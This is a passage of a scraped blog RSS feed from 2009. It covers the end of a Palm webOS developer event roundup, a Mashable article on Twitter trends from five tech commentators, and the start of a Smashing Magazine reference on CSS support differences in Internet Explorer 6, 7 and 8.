<p>Palm wants to sell phones, not proprietary APIs, so it&#8217;s involved with BONDI and W3C widgets standardisation efforts. One of the things they need to know from us (the developer community) &#8220;Palm pays us, but they didn&#8217;t pay us enough to sell out&#8221;; Ben and Dion are developers and they&#8217;re not going to tell other developers use &#8220;our funny proprietary API, you&#8217;ll love it&#8221;. However, they can&#8217;t say when all this will happen, as they&#8217;re evolving the platform pragmatically and they feel other things might have more immediate impact, e.g. OpenGL support.</p>
<p>The web distribution model is simple &#8211; user surfs to a URL! But many people actually want a catalogue, and in fact some app catalogues are becoming spam catalogues. Some even boast about how many apps there are in the catalogue, Ben notes with a wink at the big I. With Palm, developers pay $50 and it helps to avoid the problem. There will be one catalogue, but developers can control which markets they&#8217;re selling in, and get useful analytics and feeds about its usage. Wanting to reduce the friction for people to buy an app, so would consider (although nothing definite) carrier billing and affiliate links.</p>
<h3>Q&#38;A</h3>
<p>The developer portal is currently being overhauled. Under consideration are ways to make things more transparent, e.g. bug tracking and planned features.</p>
<p>Ben and Dion anticipate that developers will probably be able to opt in to Javascript obfuscation (or some other form of obfuscation). As Dion explains, View Source has been really important on the web, so there&#8217;s a tension and it&#8217;s likely multiple options will be available.</p>
<p>On ease of use, multitasking has been great; UI latency is still an issue even though the hardware is comparable to 3GS. The problem is the path to the GPU didn&#8217;t exist, but now with CSS transforms, that will be solved in the immediate future. As far as screen size, where Pixi broke the mould 4 months after the Pre, this happy world of coding to the same screen size on mobiles is going. Ben says it would have been easier for Palm if it wasn&#8217;t the first phone to break the mould, but reality is the mobile space will break out to big screens, phones, etc etc, so it won&#8217;t be one fixed resolution or even aspect ratio.</p>
<p>There will be lots of new tools for developing with and they&#8217;ll be able to work with WebKit. Ben and Dion (not Palm, they&#8217;re sure to add) are open to the thought of embracing Flash for native apps and keen to hear people&#8217;s thoughts on it.</p>
<p>The open source question &#8230; will Palm open source WebOS. Ben says &#8220;we (Ben and Dion) would love to do it&#8221;, but it&#8217;s not Android working to thousands of phones and it still has to be considered.</p>
<p>Announcement from <a href="http://www.o2litmus.co.uk">O2 Litmus guys</a>.</p>
<p>Developer mail to devrel@palm.com.</p>
<p>Event hashtag: <a href="http://search.twitter.com/search?q=#o2palm">#o2palm</a></p>
<div>
<a href="http://feeds.feedburner.com/~ff/ajaxian?a=UWHR8pvRTB4:DaD3mOAcMUs:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b9e9d_ajaxian?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ajaxian?a=UWHR8pvRTB4:DaD3mOAcMUs:7Q72WNTAKBA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b9e9d_ajaxian?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ajaxian?a=UWHR8pvRTB4:DaD3mOAcMUs:D7DqB2pKExk"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/faa64_ajaxian?i=UWHR8pvRTB4:DaD3mOAcMUs:D7DqB2pKExk" border="0"></img></a>
</div>
<p><a href="http://feeds2.feedburner.com/ajaxian">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/webos-developer-event-%e2%80%93-roundup/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Top 5 Twitter Trends to Watch Right Now</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/top-5-twitter-trends-to-watch-right-now/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/top-5-twitter-trends-to-watch-right-now/#comments</comments>
		<pubDate>Mon, 19 Oct 2009 17:48:35 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[Brian Solis]]></category>
		<category><![CDATA[chris pirillo]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[guy kawasaki]]></category>
		<category><![CDATA[Kawasaki]]></category>
		<category><![CDATA[Las Vegas]]></category>
		<category><![CDATA[legitimate point]]></category>
		<category><![CDATA[Leo Laporte]]></category>
		<category><![CDATA[Platform]]></category>
		<category><![CDATA[steve rubel]]></category>
		<category><![CDATA[trend]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[way]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/top-5-twitter-trends-to-watch-right-now/</guid>
		<description><![CDATA[We&#8217;ve been taking an active analytical look at emerging Twitter related trends on a monthly basis. This month instead of analyzing the state of the Twittersphere on our own, we thought we&#8217;d give some of the web&#8217;s most experimental, influential, and knowledgeable thought leaders an opportunity to share their perspectives on Twitter trends. Given that [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://api.tweetmeme.com/share?url=http://mashable.com/2009/10/17/crowdsourced-twitter-trends/&amp;service=bit.ly"><img width="51" height="61" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/9a7f7_crowdsourced-twitter-trends" align="right" /></a>
<p><img class="alignright size-full wp-image-153340" style="margin: 10px" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/9a7f7_twitter-magic.jpg" alt="twitter magic" width="260" height="190" />We&#8217;ve been taking an active <a href="http://mashable.com/2009/09/06/hot-twitter-trends/" target="_blank">analytical look</a> at <a href="http://mashable.com/2009/07/24/top-twitter-trends/" target="_blank">emerging</a> Twitter <a href="http://mashable.com/2009/06/14/twitter-trends-3/" target="_blank">related trends</a> on a monthly basis. This month instead of analyzing the state of the Twittersphere on our own, we thought we&#8217;d give some of the web&#8217;s most experimental, influential, and knowledgeable thought leaders an opportunity to share their perspectives on Twitter trends.</p>
<p>Given that <a href="http://www.blogworldexpo.com/" target="_blank">BlogWorld Expo</a> is currently underway in Las Vegas, with the best of the best wandering the halls, we decided to stop a few of the greats — <strong>Steve Rubel, Chris Pirillo, Leo Laporte, Brian Solis, and Guy Kawasaki</strong> — to get their candid take on the what&#8217;s trending in the Twittersphere.</p>
<hr />
<h2>1. Pirillo: Big Bloggers Tweeting More, Blogging Less</h2>
<hr />
<p><img class="alignleft size-full wp-image-153344" style="margin: 10px" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/9a7f7_10.png" alt="tweet it" width="220" height="220" />Lifecaster, blogger, and über web geek, <a href="http://chris.pirillo.com/" target="_blank">Chris Pirillo</a> [<a href="http://twitter.com/chrispirillo" target="_blank">@chrispirillo</a>] says that more and more bloggers are tweeting instead of blogging. Pirillo believes that Twitter offers pithy bloggers the opportunity to save the &#8220;time and energy poured into long-from blog posts, and instead find a way to say the same thing in 140 characters.&#8221;</p>
<p>One of his favorite lines to repeat is, &#8220;Twitter is a great place to tell the world what you&#8217;re thinking before you&#8217;ve had a chance to think about it.&#8221;</p>
<p>While this certainly isn&#8217;t a new idea, Pirillo has a legitimate point about it being a growing trend. In our chat, Pirillo used BlogWorld Expo as a prime example of his point. He spoke to the fact that the most prolific bloggers are in attendance and yet we&#8217;re seeing media, news, and updates about the show trickle out via Twitter instead of longer form blogs.</p>
<p>Unlike some bloggers opposed to the notion that Twitter may be usurping the blogosphere, Pirillo believes the trend to be what it is, and that Twitter actually &#8220;augments blogging. It&#8217;s a different medium, so while blog posts index well on Google, tweets may not&#8230;Twitter is for flash in the pan information.&#8221;</p>
<p>Looking at the bigger picture, the trend is an important one to watch now that prolific bloggers with large audiences have been able to port those same audiences, attract new followers, and expand their reach on Twitter. Given the financial opportunities made available through Twitter ad platforms like IZEA&#8217;s <a href="http://mashable.com/2009/08/03/izea-sponsored-tweets/" target="_blank">Sponsored Tweets</a>, bloggers, like Pirillo, can still profit in shorter form. This means we could see a shift in preferred mediums, with brevity potentially being more rewarding.</p>
<hr />
<h2>2. Kawasaki: The Evolution of Twitter as a Platform</h2>
<hr />
<p><img class="aligncenter size-full wp-image-153343" style="margin: 10px" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/9a7f7_11.png" alt="11" width="610" height="171" /></p>
<p>Though you may not agree with his hyper-tweeting ways or multi-managed account methodology, one thing is certain: <a href="http://blog.guykawasaki.com/" target="_blank">Guy Kawasaki</a> [<a href="http://twitter.com/guykawasaki" target="_blank">@guykawasaki</a>] is hard to miss on Twitter.</p>
<p>The Alltop co-founder and original Apple evangelist has been known to push a few buttons using the micro medium, but he continues to be one of the most retweeted users on Twitter, and has been vocal about using tweets to drive traffic. Which is why it comes as no surprise that he tells us that Twitter is moving away from just the personal, &#8220;we chatter,&#8221; and becoming heavily used by brands.</p>
<p>Kawasaki says, &#8220;When the internet was young it was primarily personal websites, but it since became commercial, but not in a bad way. It became a platform. Twitter is emulating the internet, and isn&#8217;t just turning into a marketing platform, but simply becoming a platform used for multiple things.&#8221;</p>
<p>What was once just a place for conversation amongst friends has evolved into a vehicle where brands can set up shop and drive real business. He even believes Twitter has matured beyond the original expectations and use cases that its founders envisioned. Kawasaki cites the <a href="http://twitter.com/kogiBBQ" target="_blank">Kogi Korean BBQ truck</a> as an example of a business using Twitter as a platform in a way that Twitter most certainly didn&#8217;t plan for.</p>
<hr />
<h2>3. Solis: Semantic Intelligence</h2>
<hr />
<p><img class="alignleft size-full wp-image-153345" style="margin: 10px" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/57797_8.png" alt="twitter bird" width="220" height="220" /><a href="http://www.briansolis.com/" target="_blank">Brian Solis</a> [<a href="http://twitter.com/briansolis" target="_blank">@briansolis</a>], PR 2.0 guru and consummate networker, has been focused of late on analyzing tweets and Twitter-specific behaviors, he even recently led a study on <a href="http://mashable.com/2009/10/01/twitter-airline-sentiments/" target="_blank">Twitter airline analysis</a>. Given that his eye is so predominantly focused on Twitter data, we tend to agree with his analysis that Twitter is heading in the direction of more filtered and intelligent conversations.</p>
<p>Solis notes that as users follow more and more Twitterers, their ability to stay connected to individual users and their respective tweets diminishes greatly. Though the noise is commonly accepted by many a Twitterer as normal, Solis believes that the next big Twitter trend will be a more intelligent Twitter experience. He says, &#8220;the future of Twitter is semantic intelligence, where what you click, what you read, and what you do, act to determine what you like, with applications serving you the tweets you really want.&#8221;</p>
<p>Solis points to the iPhone app, <a href="http://mashable.com/2009/08/26/my6sense/" target="_blank">my6sense</a>, as a perfect example of semantic intelligence applied to social media streams. The app functions as an RSS reader, but you can share stories with Twitter, FriendFeed, and Facebook. The stories you read and share are then used to recommend articles, and the more you use it the better it works.</p>
<p>Solis believes that soon we will see more specialized services developed to work in a similar fashion in relation to tweets and Twitter updates, and he&#8217;s hoping that Twitter will build it into the API.</p>
<hr />
<h2>4. Rubel: Twitter Curation</h2>
<hr />
<p><img class="alignleft size-full wp-image-153342" style="margin: 10px" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/57797_4.png" alt="twitter art" width="220" height="220" />Edelman Digital&#8217;s Senior Vice President, <a href="http://www.steverubel.com/" target="_blank">Steve Rubel</a> [<a href="http://twitter.com/steverubel" target="_blank">@steverubel</a>] is on the same wavelength as Solis, and also believes that &#8220;Twitter is too linear, so separating the junk from the art&#8221; is a challenge that is only getting tougher. His perspective, however, is that we&#8217;re going to start to see more Twitter curators work to package tweets in more digestible streams.</p>
<p>The notion of organizing collections of tweets and Twitterers isn&#8217;t new, but Rubel speaks of curation as if there&#8217;s a human touch finding the works of art from within the rubbish so that you don&#8217;t have to. As an example, Rubel offers up <a href="http://muckrack.com/" target="_blank">Muck Rack</a>, from Sawhorse Media, which actively organizes and collects tweets from journalists.</p>
<p>Rubel believes that this is just the beginning as demand for finding tweets of interest will continue grow, which means &#8220;we&#8217;re likely to see media companies built on top of twitter, curating tweets&#8230; so while the job market for journalists is bleak, the career opportunities for editors and curators is evergreen.&#8221;</p>
<hr />
<h2>5. Laporte: User Generated Twitter Lists</h2>
<hr />
<p><img class="alignleft size-full wp-image-153341" style="margin: 10px" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/57797_1.png" alt="twitter rss" width="220" height="220" />Leo Laporte</a> [<a href="http://twitter.com/leolaporte" target="_blank">@leolaporte</a>] is the founder of the TWiT Netcast Network, as well as the host and producer of the Tech Guy radio show. As a renowned voice in the technology space, Laporte&#8217;s excitement, shared by the likes of other influential techies like <a href="http://scobleizer.com" target="_blank">Robert Scoble</a>, around the <a href="http://mashable.com/2009/10/15/breaking-twitter-lists-are-live/" target="_blank">newly released Twitter Lists</a> is palpable.</p>
<p>Laporte believes Twitter Lists to be &#8220;huge&#8221; and important for vastly improving the overall Twitter experience for new and seasoned users alike. Laporte states, &#8220;One of the issues with Twitter is that it&#8217;s been so simple, so Twitter Lists is a big breakthrough. They finally realized that they have been leaving all of this extra stuff on the table.&#8221;</p>
<p>When it comes to the new Twitter Lists, Laporte emphatically rejoices, &#8220;user-generated lists, long live the king.&#8221;</p>
<p>And we tend to agree. We&#8217;ve covered the new Twitter Lists <a href="http://mashable.com/2009/09/30/twitter-lists/" target="_blank">prior to</a> and post launch, and find there to be immense potential and power for all Twitterers. The easily-accessed follower lists highlight how many lists each Twitterer is on in a very a public way, which ultimately provides a new metric for measuring Twitter influence and relevance. We also think that Twitter Lists will help the company tackle their ongoing <a href="http://mashable.com/2009/04/28/twitter-quitters/" target="_blank">user retention problem</a>.</p>
<p><em>Do you agree with our experts&#8217; picks?  Let us know in the comments.</em></p>
<hr />Reviews: <a href="http://www.blippr.com/apps/336650-Facebook" target="_blank">Facebook</a>, <a href="http://www.blippr.com/apps/336656-FriendFeed" target="_blank">FriendFeed</a>, <a href="http://www.blippr.com/apps/336661-Google" target="_blank">Google</a>, <a href="http://www.blippr.com/apps/336651-Twitter" target="_blank">Twitter</a></p>
<p>Tags: <a href="http://mashable.com/tag/twitter-trends/">twitter trends</a></p>
<p><a href="http://feedads.g.doubleclick.net/~at/xU8z11oudL479hk09sNvpAGNRQk/0/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/512c7_di" border="0"></img></a><br />
<a href="http://feedads.g.doubleclick.net/~at/xU8z11oudL479hk09sNvpAGNRQk/1/da"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/512c7_di" border="0"></img></a></p>
<div>
<a href="http://feeds.feedburner.com/~ff/Mashable?a=bcWCMJ2LaYE:VmqMNgJ7-wQ:D7DqB2pKExk"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/512c7_Mashable?i=bcWCMJ2LaYE:VmqMNgJ7-wQ:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=bcWCMJ2LaYE:VmqMNgJ7-wQ:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b904a_Mashable?i=bcWCMJ2LaYE:VmqMNgJ7-wQ:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=bcWCMJ2LaYE:VmqMNgJ7-wQ:F7zBnMyn0Lo"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b904a_Mashable?i=bcWCMJ2LaYE:VmqMNgJ7-wQ:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=bcWCMJ2LaYE:VmqMNgJ7-wQ:qj6IDK7rITs"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b904a_Mashable?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=bcWCMJ2LaYE:VmqMNgJ7-wQ:_e0tkf89iUM"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/85fac_Mashable?d=_e0tkf89iUM" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=bcWCMJ2LaYE:VmqMNgJ7-wQ:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/85fac_Mashable?i=bcWCMJ2LaYE:VmqMNgJ7-wQ:gIN9vFwOqvQ" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=bcWCMJ2LaYE:VmqMNgJ7-wQ:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/85fac_Mashable?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=bcWCMJ2LaYE:VmqMNgJ7-wQ:P0ZAIrC63Ok"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/30448_Mashable?d=P0ZAIrC63Ok" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=bcWCMJ2LaYE:VmqMNgJ7-wQ:I9og5sOYxJI"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/30448_Mashable?d=I9og5sOYxJI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Mashable?a=bcWCMJ2LaYE:VmqMNgJ7-wQ:CC-BsrAYo0A"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/30448_Mashable?d=CC-BsrAYo0A" border="0"></img></a>
</div>
<p><a href="http://feeds2.feedburner.com/Mashable">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/top-5-twitter-trends-to-watch-right-now/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CSS Differences in Internet Explorer 6, 7 and 8</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/css-differences-in-internet-explorer-6-7-and-8/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/css-differences-in-internet-explorer-6-7-and-8/#comments</comments>
		<pubDate>Wed, 14 Oct 2009 13:48:03 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[box]]></category>
		<category><![CDATA[css development]]></category>
		<category><![CDATA[Description]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[internet explorer browsers]]></category>
		<category><![CDATA[internet explorer versions]]></category>
		<category><![CDATA[javascript libraries]]></category>
		<category><![CDATA[max height]]></category>
		<category><![CDATA[max width]]></category>
		<category><![CDATA[Min-Height]]></category>
		<category><![CDATA[Min-Width]]></category>
		<category><![CDATA[property]]></category>
		<category><![CDATA[statistical facts]]></category>
		<category><![CDATA[support]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/css-differences-in-internet-explorer-6-7-and-8/</guid>
		<description><![CDATA[&#160;&#160; One of the most bizarre statistical facts in relation to browser use has to be the virtual widespread numbers that currently exist in the use of Internet Explorer versions 6, 7 and 8. As of this writing, Internet Explorer holds about a 65% market share combined across all their currently used browsers. In the [...]]]></description>
			<content:encoded><![CDATA[<table width="650">
<tr>
<td width="650">
<div>
      <img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/865f3_smashing-magazine-advertisement.gif" alt="" border="0" /><br />
      <a href="http://creatives.commindo-media.de/www/delivery/ck.php?zoneid=56" target="_blank"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/5b738_avw.php?zoneid=56" border="0" alt="" /></a>&nbsp;<a href="http://creatives.commindo-media.de/www/delivery/ck.php?zoneid=63" target="_blank"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/d1585_avw.php?zoneid=63" border="0" alt="" /></a>&nbsp;<a href="http://creatives.commindo-media.de/www/delivery/ck.php?zoneid=64" target="_blank"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/de718_avw.php?zoneid=64" border="0" alt="" /></a>
    </div>
</td>
</tr>
</table>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/fa5cb_spacer.gif" alt="" border="0" width="1" height="1" /></p>
<p>One of the most bizarre statistical facts in relation to browser use has to be the virtual widespread numbers that currently exist in the use of <strong>Internet Explorer</strong> versions 6, 7 and 8. As of this writing, <a href="http://marketshare.hitslink.com/browser-market-share.aspx?qprid=0">Internet Explorer holds about a 65% market share</a> combined across all their currently used browsers. In the web development community, this number is much lower, showing <a href="http://www.w3schools.com/browsers/browsers_stats.asp">about a 40% share</a>.</p>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/52ab7_ie.jpg" width="500" height="441" alt="Screenshot" /></p>
<p>The interesting part of those statistics is that the numbers across IE6, IE7, and IE8 are very close, preventing a single Microsoft browser from dominating browser stats &#8212; contrary to what has been the trend in the past. Due to these unfortunate statistics, it is <strong>imperative that developers do thorough testing in all currently-used Internet Explorer browsers</strong> when working on websites for clients, and on personal projects that target a broader audience.</p>
<p>Thanks to the many available JavaScript libraries, JavaScript testing across different browsers has become as close to perfect as the current situation will allow. But this is not true in CSS development, particularly in relation to the three currently used versions of Internet Explorer.</p>
<p>This article will attempt to provide an <strong>exhaustive, easy-to-use reference for developers desiring to know the differences in CSS support for IE6, IE7 and IE8</strong>. This reference contains brief descriptions and compatibility for:</p>
<ul>
<li>Any item that is supported by one of the three browser versions, but not the other two</li>
<li>Any item that is supported by two of the three browser versions, but not the other one</li>
</ul>
<p>This article does not discuss:</p>
<ul>
<li>Any item that is not supported by any of the three browser versions</li>
<li>Proprietary or vendor-specific CSS</li>
</ul>
<p>Therefore, the focus is on <em>differences</em> in the three, not necessarily lack of support. The list is divided into five sections:</p>
<ul>
<li><a href="http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/#selectors">Selectors &amp; Inheritance</a></li>
<li><a href="http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/#pseudo_classes">Pseudo-Classes and Pseudo-Elements</a></li>
<li><a href="http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/#property">Property Support</a></li>
<li><a href="http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/#other">Other Miscellaneous Techniques</a></li>
<li><a href="http://www.smashingmagazine.com/2009/10/14/css-differences-in-internet-explorer-6-7-and-8/#bugs">Significant Bugs and Incompatibilities</a></li>
</ul>
<h3>Selectors &amp; Inheritance</h3>
<h4>Child Selectors</h4>
<h5>Example</h5>
<pre>
body&gt;p {
	color: #fff;
}
</pre>
<h5>Description</h5>
<p>The child selector selects all elements that are immediate children of a specified parent element. In the example above, <code>body</code> is the parent, and <code>p</code> is the child.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h5>Bugs</h5>
<p>In IE7, the child selector will not work if there is an HTML comment between the parent item and the child.</p>
<h4>Chained Classes</h4>
<h5>Example</h5>
<pre>
.class1.class2.class3 {
	background: #fff;
}
</pre>
<h5>Description</h5>
<p>Chained classes are used when the same HTML element has multiple classes declared, like this:</p>
<pre>
&lt;div class="class1 class2 class3"&gt;
&lt;p&gt;Content here.&lt;/p&gt;
&lt;/div&gt;
</pre>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h5>Bugs</h5>
<p>IE6 appears to support this property, because it matches the last class in the chain to an element having that class, however, it does not restrict the class to an element that has all the classes in the chain, like it should.</p>
<h4>Attribute Selectors</h4>
<h5>Example</h5>
<pre>
a[href] {
	color: #0f0;
}
</pre>
<h5>Description</h5>
<p>This selector allows an element to be targeted only if it has the specified attribute. In the example above, all anchor tags that have <code>href</code> attributes would qualify, but not anchor tags that did not have <code>href</code> attributes.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Adjacent Sibling Selectors</h4>
<h5>Example</h5>
<pre>
h1+p {
	color: #f00;
}
</pre>
<h5>Description</h5>
<p>This selector targets siblings that are adjacent to the specified element. The example above would target all paragraph tags that are siblings of, and come directly after, primary heading tags. For example:</p>
<pre>
&lt;h1&gt;heading&lt;/h1&gt;
&lt;p&gt;Content here.&lt;/p&gt;
&lt;p&gt;Content here.&lt;/p&gt;
</pre>
<p>In the code above, the CSS styles specified would target only the first paragraph, because it is a sibling to the &lt;h1&gt; tag and is adjacent. The second paragraph is a sibling, but is not adjacent.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h5>Bugs</h5>
<p>In IE7, the adjacent sibling selector will not work if there is an HTML comment between the siblings.</p>
<h4>General Sibling Selectors</h4>
<h5>Example</h5>
<pre>
h1~p {
	color: #f00;
}
</pre>
<h5>Description</h5>
<p>This selector targets all siblings that appear after a specified element. Applying this selector to the HTML example given in the previous section will select both paragraph tags, however, if one of the paragraphs appeared before the heading, that paragraph would not be targeted.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h3>Pseudo-Classes and Pseudo-Elements</h3>
<h4>Descendant Selector After :hover Pseudo-Class</h4>
<h5>Example</h5>
<pre>
a:hover span {
	color: #0f0;
}
</pre>
<h5>Description</h5>
<p>An element can be targeted with a selector after a :hover pseudo class, similar to how any descendant selector works. The above example would change the font color inside all <code>&lt;span&gt;</code> elements inside of anchor elements while the anchor is hovered over.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Chained Pseudo-Classes</h4>
<h5>Example</h5>
<pre>
a:first-child:hover {
	color: #0f0;
}
</pre>
<h5>Description</h5>
<p>Pseudo-classes can be chained to narrow element selection. The above example would target every anchor tag that is the first child of its parent and apply a hover class to it.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>:hover on Non-Anchor Elements</h4>
<h5>Example</h5>
<pre>
div:hover {
	color: #f00;
}
</pre>
<h5>Description</h5>
<p>The <code>:hover</code> pseudo-class can apply a hover, or rollover state, to any element, not just anchor tags.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>:first-child Pseudo-Class</h4>
<h5>Example</h5>
<pre>
div li:first-child {
	background: blue;
}
</pre>
<h5>Description</h5>
<p>This pseudo-class targets each specified element that is the first child of its parent.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h5>Bugs</h5>
<p>In IE7, the first-child pseudo-class will not work if an HTML comment appears before the targeted first child element.</p>
<h4>:focus Pseudo-Class</h4>
<h5>Example</h5>
<pre>
a:focus {
	border: solid 1px red;
}
</pre>
<h5>Description</h5>
<p>This pseudo-class targets any element that has keyboard focus.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>:before and :after Pseudo-Elements</h4>
<h5>Example</h5>
<pre>
#box:before {
	content: "This text is before the box";
}

#box:after {
	content: "This text is after the box";
}
</pre>
<h5>Description</h5>
<p>This pseudo-element places generated content before or after the specified element, used in conjunction with the <code>content</code> property.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />No</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h3>Property Support</h3>
<h4>Virtual Dimensions Determined by Position</h4>
<h5>Example</h5>
<pre>
#box {
	position: absolute;
	top: 0;
	right: 100px;
	left: 0;
	bottom: 200px;
	background: blue;
}
</pre>
<h5>Description</h5>
<p>Specifying <code>top</code>, <code>right</code>, <code>bottom</code>, and <code>left</code> values for an absolutely positioned element will give the element &#8220;virtual&#8221; dimensions (width and height), even if width and height are not specified.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Min-Height &amp; Min-Width</h4>
<h5>Example</h5>
<pre>
#box {
	min-height: 500px;
	min-width: 300px;
}
</pre>
<h5>Description</h5>
<p>These properties specify minimum values for either height or width, allowing a box to be larger, but not smaller, than the specified minimum values. They can be used together or individually.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Max-Height &amp; Max-Width</h4>
<h5>Example</h5>
<pre>
#box {
	max-height: 500px;
	max-width: 300px;
}
</pre>
<h5>Description</h5>
<p>These properties specify maximum values for either height or width, allowing a box to be smaller, but not larger, than the specified minimum values. They can be used together or individually.</p>
<h5>Support</h5>
<div>
<div><strong>IE6</strong><br />No</div>
<div><strong>IE7</strong><br />Yes</div>
<div><strong>IE8</strong><br />Yes</div>
</div>
<h4>Transparent Border Color</h4>
<h5>Example</h5>
<pre>
#box {
